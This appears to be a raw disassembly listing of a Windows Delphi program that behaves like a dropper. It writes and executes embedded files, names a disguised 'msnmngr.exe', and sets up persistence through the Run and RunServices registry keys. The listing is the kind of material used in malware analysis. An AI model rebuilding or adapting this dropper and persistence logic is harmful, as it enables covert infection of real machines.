call sub_40002DFC
mov eax, ds:dword_40023B1C
mov edx, eax
mov eax, offset dword_4001F94C
call sub_40004F74
mov eax, offset dword_4001F94C
call sub_40004DA0
mov edx, eax
mov eax, offset dword_4001F964
mov ecx, ds:dword_40023B1C
call sub_40002DFC
push ds:dword_40023B50
push ds:dword_40023B4C
push ds:dword_40023B58
push ds:dword_40023B54
lea edx, [ebp-28h]
mov eax, ds:dword_40023B1C
call sub_40016CE8
mov edx, [ebp-28h]
mov ecx, offset dword_4001F94C
mov eax, ds:dword_4001F94C
call sub_40006A2C
mov eax, offset dword_40023B64
xor ecx, ecx
mov edx, 4
call sub_40003580
xor eax, eax
mov ds:dword_40023B64, eax
mov esi, offset byte_4001F9A5
mov edi, offset dword_40023B24
mov dword ptr [ebp-14h], offset byte_4001FA13
mov ebx, offset dword_4001F6E4
loc_4001964B: ; CODE XREF: .itext:40019AB2j
mov eax, offset dword_4001F958
xor ecx, ecx
mov edx, 4
call sub_40003580
cmp byte ptr [esi], 0
jz loc_40019A95
mov eax, [edi]
mov edx, eax
mov eax, offset dword_4001F950
call sub_40004F74
mov eax, offset dword_4001F950
call sub_40004DA0
mov edx, eax
mov ecx, [edi]
mov eax, esi
call sub_40002DFC
push ds:dword_40023B50
push ds:dword_40023B4C
push ds:dword_40023B58
push ds:dword_40023B54
mov ecx, offset dword_4001F950
mov edx, ds:dword_4001F94C
mov eax, ds:dword_4001F950
call sub_40006A2C
mov eax, offset dword_4001F954
mov edx, [ebp-14h]
mov ecx, 81h
call sub_40004AF4
push ds:dword_40023B50
push ds:dword_40023B4C
push ds:dword_40023B58
push ds:dword_40023B54
mov ecx, offset dword_4001F954
mov edx, ds:dword_4001F94C
mov eax, ds:dword_4001F954
call sub_40006A2C
xor eax, eax
mov ds:dword_4001F95C, eax
mov eax, ds:dword_4001F950
call sub_40004D48
mov edx, eax
mov eax, offset dword_4001F95C
call sub_40016F88
mov [ebx], eax
mov eax, offset dword_4001F958
mov edx, ds:dword_4001F95C
call sub_40004F74
cmp dword ptr [ebx], 0
jz loc_40019AB8
mov eax, ds:dword_4001F958
mov ds:dword_40023E48, eax
cmp ds:dword_40023E48, 0
jz short loc_4001974E
mov eax, ds:dword_40023E48
sub eax, 4
mov eax, [eax]
mov ds:dword_40023E48, eax
loc_4001974E: ; CODE XREF: .itext:4001973Dj
mov eax, offset dword_4001F958
call sub_40004DA0
mov edx, eax
mov eax, [ebx]
mov ecx, ds:dword_40023E48
call sub_40002DFC
push ds:dword_40023B50
push ds:dword_40023B4C
push ds:dword_40023B58
push ds:dword_40023B54
mov ecx, offset dword_4001F958
mov edx, ds:dword_4001F94C
mov eax, ds:dword_4001F958
call sub_40006A2C
lea edx, [ebp-2Ch]
mov eax, ds:dword_4001F958
call sub_40016D80
mov edx, [ebp-2Ch]
mov eax, offset dword_4001F958
call sub_400048D8
cmp ds:byte_40023B5D, 0
jz short loc_400197E0
mov eax, ds:dword_4001F958
push eax
lea eax, [ebp-34h]
push eax
call sub_40016B44
mov eax, [ebp-34h]
push eax
lea eax, [ebp-30h]
push eax
call sub_40016C04
mov edx, [ebp-30h]
mov eax, offset dword_4001F958
call sub_400048D8
loc_400197E0: ; CODE XREF: .itext:400197B5j
cmp ds:byte_40023B5C, 0
jz short loc_4001985D
mov eax, ds:dword_4001F958
test eax, eax
jz short loc_400197F7
sub eax, 4
mov eax, [eax]
loc_400197F7: ; CODE XREF: .itext:400197F0j
call sub_40002C20
mov ds:dword_4001F5C8, eax
mov eax, ds:dword_4001F958
mov ds:dword_40023E4C, eax
cmp ds:dword_40023E4C, 0
jz short loc_40019823
mov eax, ds:dword_40023E4C
sub eax, 4
mov eax, [eax]
mov ds:dword_40023E4C, eax
loc_40019823: ; CODE XREF: .itext:40019812j
mov eax, offset dword_4001F958
call sub_40004DA0
mov edx, ds:dword_4001F5C8
mov ecx, ds:dword_40023E4C
call sub_40002DFC
mov edx, ds:dword_4001F954
mov eax, ds:dword_4001F5C8
call sub_40017A1C
mov eax, ds:dword_4001F5C8
call sub_40002C3C
jmp loc_40019A95
; ---------------------------------------------------------------------------
loc_4001985D: ; CODE XREF: .itext:400197E7j
push offset dword_4001F5CC
lea eax, [ebp-38h]
mov edx, offset word_4001F9D2
mov ecx, 41h
call sub_40004AF4
mov eax, [ebp-38h]
push eax
mov eax, ds:dword_40023B14
mov ecx, eax
mov edx, 1
pop eax
call sub_40004DA8
push ds:dword_40023B50
push ds:dword_40023B4C
push ds:dword_40023B58
push ds:dword_40023B54
mov ecx, offset dword_4001F5CC
mov edx, ds:dword_4001F94C
mov eax, ds:dword_4001F5CC
call sub_40006A2C
mov ds:dword_4001F5D0, 104h
mov eax, ds:dword_4001F5D0
push eax
push offset dword_4001F5D4
mov eax, ds:dword_4001F5CC
call sub_40004D48
push eax
call sub_40006578 ; GetEnvironmentVariableA
mov ds:dword_4001F5D0, eax
cmp ds:dword_4001F5D0, 0
jle short loc_4001994D
mov eax, offset dword_4001F5CC
mov edx, ds:dword_4001F5D0
call sub_40004F74
mov eax, offset dword_4001F5CC
call sub_40004DA0
mov edx, eax
mov eax, offset dword_4001F5D4
mov ecx, ds:dword_4001F5D0
call sub_40002DFC
push ds:dword_4001F5CC
push offset dword_40019BE0
mov eax, 64h
call sub_40003080
lea edx, [ebp-3Ch]
call sub_40016CE8
push dword ptr [ebp-3Ch]
push offset dword_40019BEC
mov eax, offset dword_4001F5CC
mov edx, 4
call sub_40004C08
jmp short loc_400199A6
; ---------------------------------------------------------------------------
loc_4001994D: ; CODE XREF: .itext:400198E9j
mov eax, ds:dword_4001F5CC
test eax, eax
jz short loc_4001995B
sub eax, 4
mov eax, [eax]
loc_4001995B: ; CODE XREF: .itext:40019954j
mov edx, ds:dword_4001F5CC
cmp byte ptr [edx+eax-1], 5Ch
jz short loc_40019977
mov eax, offset dword_4001F5CC
mov edx, offset dword_40019BE0
call sub_40004B50
loc_40019977: ; CODE XREF: .itext:40019966j
push ds:dword_4001F5CC
mov eax, 64h
call sub_40003080
lea edx, [ebp-40h]
call sub_40016CE8
push dword ptr [ebp-40h]
push offset dword_40019BEC
mov eax, offset dword_4001F5CC
mov edx, 3
call sub_40004C08
loc_400199A6: ; CODE XREF: .itext:4001994Bj
xor eax, eax
mov ds:dword_4001F6E0, eax
lea eax, [ebp-44h]
mov edx, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
mov ecx, 105h
call sub_40004AF4
mov eax, [ebp-44h]
mov ecx, offset dword_4001F6E0
mov edx, offset dword_4001F6DC
call sub_40017D84
mov edx, ds:dword_4001F5CC
mov eax, offset dword_4001F6F8
call sub_40003328
mov edx, 1
mov eax, offset dword_4001F6F8
call sub_40003724
call sub_40002D5C
mov eax, ds:dword_4001F958
mov ds:dword_40023E50, eax
cmp ds:dword_40023E50, 0
jz short loc_40019A17
mov eax, ds:dword_40023E50
sub eax, 4
mov eax, [eax]
mov ds:dword_40023E50, eax
loc_40019A17: ; CODE XREF: .itext:40019A06j
push 0
mov eax, offset dword_4001F958
call sub_40004DA0
mov edx, eax
mov ecx, ds:dword_40023E50
mov eax, offset dword_4001F6F8
call sub_4000347C
call sub_40002D5C
cmp ds:dword_4001F6E0, 0
jbe short loc_40019A60
push 0
mov edx, ds:dword_4001F6DC
mov ecx, ds:dword_4001F6E0
mov eax, offset dword_4001F6F8
call sub_4000347C
call sub_40002D5C
loc_40019A60: ; CODE XREF: .itext:40019A41j
mov eax, offset dword_4001F6F8
call sub_4000349C
call sub_40002D5C
push 1
push 0
mov eax, ds:dword_4001F954
call sub_40004D48
push eax
mov eax, ds:dword_4001F5CC
call sub_40004D48
push eax
push offset aOpen ; "open"
push 0
call sub_40016CE0 ; ShellExecuteA
loc_40019A95: ; CODE XREF: .itext:4001965Fj
; .itext:40019858j
inc ds:dword_40023B64
add ebx, 4
add dword ptr [ebp-14h], 81h
add edi, 8
add esi, 5
cmp ds:dword_40023B64, 5
jnz loc_4001964B
loc_40019AB8: ; CODE XREF: .itext:400195A2j
; .itext:40019726j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40019ADA
loc_40019AC5: ; CODE XREF: .itext:40019AD8j
lea eax, [ebp-44h]
mov edx, 0Ch
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_40019AD3: ; DATA XREF: .itext:40019410o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40019AC5
; ---------------------------------------------------------------------------
loc_40019ADA: ; CODE XREF: .itext:40019AD2j
; DATA XREF: .itext:40019AC0o
pop edi
pop esi
pop ebx
call sub_40004790
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 0Ch
dword_40019AEC dd 6E736D5Ch, 72676E6Dh, 6578652Eh, 0dword_40019AFC dd 74737973h, 692E6D65h, 696EhaExplorer_exeMs db 'Explorer.exe msnmngr.exe',0 ; DATA XREF: .itext:4001947Fo
align 4
aShell db 'shell',0 ; DATA XREF: .itext:40019484o
align 4
aBoot db 'boot',0 ; DATA XREF: .itext:40019489o
align 4
dd 0FFFFFFFFh, 2Dh
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: .itext:400194BEo
align 4
dd 0FFFFFFFFh, 0Ch
dword_40019B74 dd 6E736D5Ch, 726E676Dh, 6578652Eh, 0 ; .itext:40019544o
dd 0FFFFFFFFh, 7
aMsnmgnr db 'msnmgnr',0 ; DATA XREF: .itext:400194F0o
; .itext:40019551o
dd 0FFFFFFFFh, 35h
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
; DATA XREF: .itext:4001951Fo
align 4
aStr db 'STR',0 ; DATA XREF: .itext:40019591o
dd 0FFFFFFFFh, 1
dword_40019BE0 dd 5Ch, 0FFFFFFFFh, 4 ; .itext:4001996Do
dword_40019BEC dd 6578652Eh, 0 ; .itext:40019992o
aOpen db 'open',0 ; DATA XREF: .itext:40019A89o
align 4
_itext ends
; Section 3. (virtual address 0001A000)
; Virtual size : 000010D8 ( 4312.)
; Section size in file : 000010D8 ( 4312.)
; Offset to raw data for section: 0001A000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 4001A000h
dword_4001A000 dd 0 ; sub_400046D4+2w ...
dword_4001A004 dd 0 ; sub_40004670+36r ...
dword_4001A008 dd 231ADD76h ; sub_40003058+1Dw ...
byte_4001A00C db 2 ; DATA XREF: sub_40003644+4Er
; .itext:40019012w
db 8Dh, 40h, 0
off_4001A010 dd offset sub_4000E3EC ; DATA XREF: sub_400052FCr
; sub_400052FC+9r ...
off_4001A014 dd offset sub_400127B8 ; DATA XREF: .data:off_4001AEE4o
off_4001A018 dd offset sub_4000E700 ; DATA XREF: sub_4000540Cr
; sub_4000540C+9r ...
off_4001A01C dd offset sub_400116DC ; DATA XREF: .data:off_4001B0B4o
off_4001A020 dd offset sub_40011DFC ; DATA XREF: .data:off_4001B024o
word_4001A024 dw 1332h ; DATA XREF: sub_40003B94+6r
; sub_40003B94:loc_40003C0Cr ...
dw 0C08Bh
byte_4001A028 db 0 ; DATA XREF: sub_40003FE8r
; sub_40004004r ...
db 8Dh, 40h, 0
byte_4001A02C db 0 ; DATA XREF: sub_400040D8+52r
; sub_400040D8:loc_40004165r
db 8Dh, 40h, 0
byte_4001A030 db 0 ; DATA XREF: sub_40004704:loc_40004765r
db 8Dh, 40h, 0
byte_4001A034 db 1 ; DATA XREF: sub_40003328+23r
db 8Dh, 40h, 0
off_4001A038 dd offset dword_4001A7B4 ; DATA XREF: sub_40005C08+5r
; sub_40006184r ...
dword_4001A03C dd 0A24E60h ; sub_400060A4+18w ...
off_4001A040 dd offset aFastmmBorlandE ; DATA XREF: sub_40006350+3Co
; "FastMM Borland Edition © 2004, 2005 Pie"...
byte_4001A044 db 0, 0FFh ; DATA XREF: sub_40001734+21o
; sub_400023F4+11o ...
word_4001A046 dw 10h ; DATA XREF: sub_40002540+17Bo
; sub_400029B8+6o
dd 0A24CE0h, 0A24EE0h, 0A2C000h, 2 dup(0A24CE0h), 73300B30h
off_4001A060 dd offset sub_4000134C ; DATA XREF: sub_400029FC+8o
dd 18FF00h, 0A2C010h, 0A2C408h, 0A33328h, 2 dup(0A2C010h)
dd 73300B30h
dd offset sub_40001360
dd 20FF00h, 0A3A670h, 0A3AAB0h, 0A41980h, 2 dup(0A3A670h)
dd 73300B30h
dd offset sub_40001380
dd 28FF00h, 0A419A0h, 0A41D58h, 0A48CA8h, 2 dup(0A419A0h)
dd 73300B30h
dd offset sub_400013AC
dd 30FF00h, 0A48CD0h, 0A48E10h, 0A4FFD0h, 2 dup(0A48CD0h)
dd 73300B30h
dd offset sub_400013CC
dd 38FF00h, 4001A0E4h, 0A33408h, 0A3A638h, 0A33340h, 4001A0E4h
dd 73300B30h
dd offset sub_400013F0
dd 40FF00h, 4001A104h, 986AC0h, 0
dd 986A60h, 4001A104h, 73300B30h
dd offset sub_4000141C
dd 48FF00h, 4001A124h, 0A1DAF0h, 0A24C98h, 0A1D9B0h, 4001A124h
dd 73300B30h
dd offset sub_4000144C
dd 50FF00h, 4001A144h, 0A062B0h, 0
dd 0A06240h, 4001A144h, 73300B30h, 40001484h, 58FF00h
dd 4001A164h, 9BDB38h, 0
dword_4001A174 dd 9B4220h, 4001A164h, 73300B30h, 40001484h, 60FF00h, 4001A184h
dd 0A167C0h, 0A1D950h, 0A16680h, 4001A184h, 73300B30h
dd 40001484h, 68FF00h, 4001A1A4h, 1, 2 dup(0)
dd offset dword_4001A174+30h
dword_4001A1BC dd 73300B30h, 40001484h, 70FF00h, 4001A1C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A1D8o
dd offset dword_4001A1BC+8
dword_4001A1DC dd 73300B30h, 40001484h, 78FF00h, 4001A1E4h, 1, 2 dup(0)
; DATA XREF: .data:4001A1F8o
dd offset dword_4001A1DC+8
dword_4001A1FC dd 73300B30h, 40001484h, 80FF00h, 4001A204h, 1, 2 dup(0)
; DATA XREF: .data:4001A218o
dd offset dword_4001A1FC+8
dword_4001A21C dd 73300B30h, 40001484h, 88FF00h, 4001A224h, 1, 2 dup(0)
; DATA XREF: .data:4001A238o
dd offset dword_4001A21C+8
dword_4001A23C dd 73300B30h, 40001484h, 90FF00h, 4001A244h, 1, 2 dup(0)
; DATA XREF: .data:4001A258o
dd offset dword_4001A23C+8
dword_4001A25C dd 73300B30h, 40001484h, 98FF00h, 4001A264h, 1, 2 dup(0)
; DATA XREF: .data:4001A278o
dd offset dword_4001A25C+8
dd 73300B30h, 40001484h, 0A0FF00h, 4001A284h, 98DE50h
dd 0
dword_4001A294 dd 98DD90h, 4001A284h, 73300B30h, 40001484h, 0B0FF00h
dd 4001A2A4h, 1, 2 dup(0)
dd offset dword_4001A294+10h
dword_4001A2BC dd 73300B30h, 40001484h, 0C0FF00h, 4001A2C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A2D8o
dd offset dword_4001A2BC+8
dword_4001A2DC dd 73300B30h, 40001484h, 0D0FF00h, 4001A2E4h, 1, 2 dup(0)
; DATA XREF: .data:4001A2F8o
dd offset dword_4001A2DC+8
dword_4001A2FC dd 73300B30h, 40001484h, 0E0FF00h, 4001A304h, 1, 2 dup(0)
; DATA XREF: .data:4001A318o
dd offset dword_4001A2FC+8
dword_4001A31C dd 73300B30h, 40001484h, 0F0FF00h, 4001A324h, 1, 2 dup(0)
; DATA XREF: .data:4001A338o
dd offset dword_4001A31C+8
dword_4001A33C dd 73300B30h, 40001484h, 100FF00h, 4001A344h, 1, 2 dup(0)
; DATA XREF: .data:4001A358o
dd offset dword_4001A33C+8
dword_4001A35C dd 73300B30h, 40001484h, 110FF00h, 4001A364h, 1, 2 dup(0)
; DATA XREF: .data:4001A378o
dd offset dword_4001A35C+8
dword_4001A37C dd 73300B30h, 40001484h, 120FF00h, 4001A384h, 1, 2 dup(0)
; DATA XREF: .data:4001A398o
dd offset dword_4001A37C+8
dword_4001A39C dd 73300B30h, 40001484h, 130FF00h, 4001A3A4h, 1, 2 dup(0)
; DATA XREF: .data:4001A3B8o
dd offset dword_4001A39C+8
dword_4001A3BC dd 72300B30h, 40001484h, 140FF00h, 4001A3C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A3D8o
dd offset dword_4001A3BC+8
dd 73300B30h, 40001484h, 160FF00h, 4001A3E4h, 986BE0h
dd 0
dd 986A60h, 4001A3E4h, 73300B30h, 40001484h, 180FF00h
dd 4001A404h, 9E7FC0h, 0
dword_4001A414 dd 9E7E20h, 4001A404h, 72300B30h, 40001484h, 1A0FF00h
dd 4001A424h, 1, 2 dup(0)
dd offset dword_4001A414+10h
dword_4001A43C dd 72300B30h, 40001484h, 1C0FF00h, 4001A444h, 1, 2 dup(0)
; DATA XREF: .data:4001A458o
dd offset dword_4001A43C+8
dword_4001A45C dd 72300B30h, 40001484h, 1E0FF00h, 4001A464h, 1, 2 dup(0)
; DATA XREF: .data:4001A478o
dd offset dword_4001A45C+8
dword_4001A47C dd 73300B30h, 40001484h, 210FF00h, 4001A484h, 1, 2 dup(0)
; DATA XREF: .data:4001A498o
dd offset dword_4001A47C+8
dword_4001A49C dd 72300B30h, 40001484h, 240FE00h, 4001A4A4h, 1, 2 dup(0)
; DATA XREF: .data:4001A4B8o
dd offset dword_4001A49C+8
dword_4001A4BC dd 73302B30h, 40001484h, 270FE00h, 4001A4C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A4D8o
dd offset dword_4001A4BC+8
dword_4001A4DC dd 75302B30h, 40001484h, 2A0FE00h, 4001A4E4h, 1, 2 dup(0)
; DATA XREF: .data:4001A4F8o
dd offset dword_4001A4DC+8
dd 7E302B30h, 40001484h, 2E0FE00h, 4001A504h, 98E090h
dd 0
dword_4001A514 dd 98DD90h, 4001A504h, 8A302B30h, 40001484h, 320FE00h
dd 4001A524h, 1, 2 dup(0)
dd offset dword_4001A514+10h
dword_4001A53C dd 96302B30h, 40001484h, 370FE00h, 4001A544h, 1, 2 dup(0)
; DATA XREF: .data:4001A558o
dd offset dword_4001A53C+8
dword_4001A55C dd 0A5302B30h, 40001484h, 3C0FE00h, 4001A564h, 1, 2 dup(0)
; DATA XREF: .data:4001A578o
dd offset dword_4001A55C+8
dword_4001A57C dd 0B4302B30h, 40001484h, 420FE00h, 4001A584h, 1, 2 dup(0)
; DATA XREF: .data:4001A598o
dd offset dword_4001A57C+8
dword_4001A59C dd 0C6302B30h, 40001484h, 480FE00h, 4001A5A4h, 1, 2 dup(0)
; DATA XREF: .data:4001A5B8o
dd offset dword_4001A59C+8
dword_4001A5BC dd 0D8302B30h, 40001484h, 4F0FC00h, 4001A5C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A5D8o
dd offset dword_4001A5BC+8
dword_4001A5DC dd 0ED304B30h, 40001484h, 560FC00h, 4001A5E4h, 1, 2 dup(0)
; DATA XREF: .data:4001A5F8o
dd offset dword_4001A5DC+8
dd 0FD304B30h, 40001484h, 5E0FC00h, 4001A604h, 987060h
dd 0
dword_4001A614 dd 986A60h, 4001A604h, 0FD304B30h, 40001484h, 670FC00h
dd 4001A624h, 1, 2 dup(0)
dd offset dword_4001A614+10h
dword_4001A63C dd 0FB304B30h, 40001484h, 710FC00h, 4001A644h, 1, 2 dup(0)
; DATA XREF: .data:4001A658o
dd offset dword_4001A63C+8
dword_4001A65C dd 0FF304B30h, 40001484h, 7C0F800h, 4001A664h, 1, 2 dup(0)
; DATA XREF: .data:4001A678o
dd offset dword_4001A65C+8
dword_4001A67C dd 0F8306B30h, 40001484h, 880F800h, 4001A684h, 1, 2 dup(0)
; DATA XREF: .data:4001A698o
dd offset dword_4001A67C+8
dword_4001A69C dd 0FF306B30h, 40001484h, 950F800h, 4001A6A4h, 1, 2 dup(0)
; DATA XREF: .data:4001A6B8o
dd offset dword_4001A69C+8
dword_4001A6BC dd 0FC306B30h, 40001484h, 0A30F000h, 4001A6C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A6D8o
dd offset dword_4001A6BC+8
dword_4001A6DC dd 0FF308B30h, 40001484h, 0A30F000h, 4001A6E4h, 1, 2 dup(0)
; DATA XREF: .data:4001A6F8o
dd offset dword_4001A6DC+8
dword_4001A6FC dd 0FF308B30h, 40001484h, 0A30F000h, 4001A704h, 1, 2 dup(0)
; DATA XREF: .data:4001A718o
dd offset dword_4001A6FC+8
dd 0FF308B30h, 40001484h
off_4001A724 dd offset sub_40001734 ; DATA XREF: sub_40002C20+4r
; sub_40002C54+3Fr
off_4001A728 dd offset sub_40001A9C ; DATA XREF: sub_40002C3C+4r
; sub_40002C54+26r ...
off_4001A72C dd offset sub_40001C7C ; DATA XREF: sub_40002C54+Dr
off_4001A730 dd offset sub_40002004 ; DATA XREF: .text:40002C0Cr
dd offset sub_4000235C
dd offset sub_4000239C
byte_4001A73C db 0 ; DATA XREF: sub_40002D04+35r
aRsu db 'ËÌÈÉ×ÏÈÍÎÛØÚÙÊÜÝÞßàáã',0
aFxn@ db 'äå@',0
dword_4001A758 dd 3 align 10h
dd 1, 2, 3, 3 dup(0)
aError db 'Error',0 ; DATA XREF: sub_40004704+6Co
dw 0C08Bh
aRuntimeErrorAt db 'Runtime error at 00000000',0 ; DATA XREF: sub_40004670+3o
; sub_40004704+32o ...
dw 0C08Bh
byte_4001A7A0 db 30h ; DATA XREF: sub_40004670+41r
db 31h, 32h, 33h
dd 37363534h, 42413938h, 46454443h
TlsIndex dd 0 ; DATA XREF: sub_400063E4+Cr
; sub_400063E4+37r ...
dword_4001A7B4 dd 0 ; sub_40006474+33o ...
dword_4001A7B8 dd 40000000h dword_4001A7BC dd 0 dword_4001A7C0 dd 0 dd 40000000h, 0
dword_4001A7CC dd 4 dup(0) ; .data:off_4001AFA8o
dword_4001A7DC dd 0 dword_4001A7E0 dd 0 dword_4001A7E4 dd 2 ; sub_4000B830+32r ...
dword_4001A7E8 dd 5 ; sub_4000BDA0+5Br
dword_4001A7EC dd 1 dword_4001A7F0 dd 0A28h ; sub_4000B830+4Fw
dword_4001A7F4 dd 0A3A838h ; sub_4000CC50+4Fo
word_4001A7F8 dw 32h ; DATA XREF: sub_4000A1CC+1ADr
; sub_4000A1CC+1C9r
dw 0C08Bh
dword_4001A7FC dd 1C001Fh, 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh), 1D001Fh
; DATA XREF: sub_40009050+24o
; sub_4000911C+FCo
dd 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh)
dword_4001A82C dd 0 ; sub_400096A8+33Br ...
dd 7 dup(0)
off_4001A84C dd offset dword_40007828 ; DATA XREF: sub_4000CC50+128o
; sub_400190AC+37o ...
dword_4001A850 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4000C4D8:loc_4000C4F9r ...
off_4001A854 dd offset dword_40007FCC ; DATA XREF: sub_40007FDC+3Br
; sub_4000CC50+132o
dd offset dword_40007FCC+0Ch
off_4001A85C dd offset off_40006BD8 ; DATA XREF: sub_4000828C+43r
; .text:4000CC44o
off_4001A860 dd offset off_40006BE0 ; DATA XREF: .text:4000CC38o
tbyte_4001A864 dt 1.0e18 ; DATA XREF: sub_40008B01+63r
dw 0C08Bh
flt_4001A870 db 0Ah, 0, 0, 0 ; DATA XREF: sub_400087BC+23r
; sub_40008B01+78r ...
word_4001A874 dw 133Fh ; DATA XREF: sub_40008D00+25r
dw 0C08Bh
flt_4001A878 dd 8.64e7 ; DATA XREF: sub_40008F04+Br
dword_4001A87C dd 5265C00h ; sub_40008F04:loc_40008F33r
dword_4001A880 dd 642A2E25h off_4001A884 dd offset off_40006CB0 ; DATA XREF: sub_4000A91C+3Ao
; .text:4000CC2Co
off_4001A888 dd offset off_40006CB8 ; DATA XREF: .text:4000CC20o
off_4001A88C dd offset off_40006CC0 ; DATA XREF: .text:4000CC14o
off_4001A890 dd offset off_40006CC8 ; DATA XREF: .text:4000CC08o
off_4001A894 dd offset off_40006CD0 ; DATA XREF: .text:4000CBFCo
off_4001A898 dd offset off_40006CD8 ; DATA XREF: .text:4000CBF0o
off_4001A89C dd offset off_40006CE0 ; DATA XREF: .text:4000CBE4o
off_4001A8A0 dd offset off_40006CE8 ; DATA XREF: .text:4000CBD8o
off_4001A8A4 dd offset off_40006CF0 ; DATA XREF: .text:4000CBCCo
off_4001A8A8 dd offset off_40006CF8 ; DATA XREF: .text:4000CBC0o
off_4001A8AC dd offset off_40006D00 ; DATA XREF: .text:4000CBB4o
off_4001A8B0 dd offset off_40006D08 ; DATA XREF: .text:4000CBA8o
off_4001A8B4 dd offset off_40006D10 ; DATA XREF: sub_4000A91C+5Do
; .text:4000CB9Co
off_4001A8B8 dd offset off_40006D18 ; DATA XREF: .text:4000CB90o
off_4001A8BC dd offset off_40006D20 ; DATA XREF: .text:4000CB84o
off_4001A8C0 dd offset off_40006D28 ; DATA XREF: .text:4000CB78o
off_4001A8C4 dd offset off_40006D30 ; DATA XREF: .text:4000CB6Co
off_4001A8C8 dd offset off_40006D38 ; DATA XREF: .text:4000CB60o
off_4001A8CC dd offset off_40006D40 ; DATA XREF: .text:4000CB54o
off_4001A8D0 dd offset off_40006D48 ; DATA XREF: .text:4000CB48o
off_4001A8D4 dd offset off_40006D50 ; DATA XREF: .text:4000CB3Co
off_4001A8D8 dd offset off_40006D58 ; DATA XREF: .text:4000CB30o
off_4001A8DC dd offset off_40006D60 ; DATA XREF: .text:4000CB24o
off_4001A8E0 dd offset off_40006D68 ; DATA XREF: .text:4000CB18o
off_4001A8E4 dd offset off_40006D70 ; DATA XREF: sub_4000A91C+A9o
; .text:4000CB0Co
off_4001A8E8 dd offset off_40006D78 ; DATA XREF: .text:4000CB00o
off_4001A8EC dd offset off_40006D80 ; DATA XREF: .text:4000CAF4o
off_4001A8F0 dd offset off_40006D88 ; DATA XREF: .text:4000CAE8o
off_4001A8F4 dd offset off_40006D90 ; DATA XREF: .text:4000CADCo
off_4001A8F8 dd offset off_40006D98 ; DATA XREF: .text:4000CAD0o
off_4001A8FC dd offset off_40006DA0 ; DATA XREF: .text:4000CAC4o
off_4001A900 dd offset off_40006DA8 ; DATA XREF: sub_4000A91C+CEo
; .text:4000CAB8o
off_4001A904 dd offset off_40006DB0 ; DATA XREF: .text:4000CAACo
off_4001A908 dd offset off_40006DB8 ; DATA XREF: .text:4000CAA0o
off_4001A90C dd offset off_40006DC0 ; DATA XREF: .text:4000CA94o
off_4001A910 dd offset off_40006DC8 ; DATA XREF: .text:4000CA88o
off_4001A914 dd offset off_40006DD0 ; DATA XREF: .text:4000CA7Co
off_4001A918 dd offset off_40006DD8 ; DATA XREF: .text:4000CA70o
dword_4001A91C dd 2 ; sub_4000CC50+147o
dword_4001A920 dd 0A3A7F8h ; .text:4000CA64o
dd 3
dword_4001A928 dd 0A3A7D8h, 4 dword_4001A930 dd 0A3A7B8h, 5 dword_4001A938 dd 0A3A798h dword_4001A93C dd 64h ; sub_4000B470+Dr ...
dword_4001A940 dd 0A41B08h, 65hdword_4001A948 dd 0A2C038h, 6Ahdword_4001A950 dd 0A41AE0h off_4001A954 dd offset dword_400070B4 ; DATA XREF: sub_4000CC50+15Co
dword_4001A958 dd 0A3A778h dd offset dword_4000710C
dword_4001A960 dd 0A3A758h dd offset dword_40007164
dword_4001A968 dd 0A3A738h dd offset dword_40007218
dword_4001A970 dd 0A48DB8h dd offset dword_40007270
dword_4001A978 dd 0A48D88h dd offset dword_400072C8
dword_4001A980 dd 0A41AB8h dd offset dword_40007320
dword_4001A988 dd 0A41A90h dd offset dword_400073D4
dword_4001A990 dd 0A41A68h dd offset dword_4000748C
dword_4001A998 dd 0A3A718h dd offset dword_400074EC
dword_4001A9A0 dd 0A41A40h dd offset dword_400075A0
dword_4001A9A8 dd 0A3A6F8h dd offset dword_40007544
dword_4001A9B0 dd 0A3A6D8h dd offset dword_400075F8
dword_4001A9B8 dd 0A48D58h dd offset dword_400075F8
dword_4001A9C0 dd 0A41A18h dd offset dword_400075F8
dword_4001A9C8 dd 0A48D28h dd offset dword_400075F8
dword_4001A9D0 dd 0A333A0h dd offset dword_400075F8
dword_4001A9D8 dd 0A3A6B8h dd offset dword_400075F8
dword_4001A9E0 dd 0A33368h dd offset dword_40007654
dword_4001A9E8 dd 0A3A698h dd offset dword_40006FFC
dword_4001A9F0 dd 0A419F0h dd offset dword_40007710
dword_4001A9F8 dd 0A419C8h dd offset dword_400077C4
dword_4001AA00 dd 0A48CF8h dword_4001AA04 dd 0 dword_4001AA08 dd 80070057h ; sub_4000CEB8+3Dr ...
align 10h
byte_4001AA10 db 1 ; DATA XREF: sub_4000E9CC+9Fr
; sub_4000ED90:loc_4000EE21r ...
db 8Dh, 40h, 0
dword_4001AA14 dd 0 ; sub_40011DFC+B1r ...
byte_4001AA18 db 0 ; DATA XREF: sub_4001145C+43r
db 8Dh, 40h, 0
dword_4001AA1C dd 0FFFFFFFFh ; sub_40012C6C+3Er ...
off_4001AA20 dd offset aEmpty ; DATA XREF: sub_4001293C+38r
; sub_40012E54+3Co
; "Empty"
dd offset dword_400127EC+8
dd offset dword_400127FC+8
dd offset dword_40012810+8
dd offset dword_40012810+18h
dd offset dword_40012810+28h
dd offset dword_40012810+38h
dd offset dword_40012854+8
dd offset dword_40012864+8
dd offset dword_40012864+18h
dd offset dword_40012888+8
dd offset dword_40012888+18h
dd offset dword_40012888+28h
dd offset dword_40012888+38h
dd offset dword_40012888+48h
dd offset dword_40012888+58h
dd offset dword_40012888+64h
dd offset dword_400128F8+8
dd offset dword_40012908+8
dd offset dword_40012918+8
dd offset dword_4001292C+8
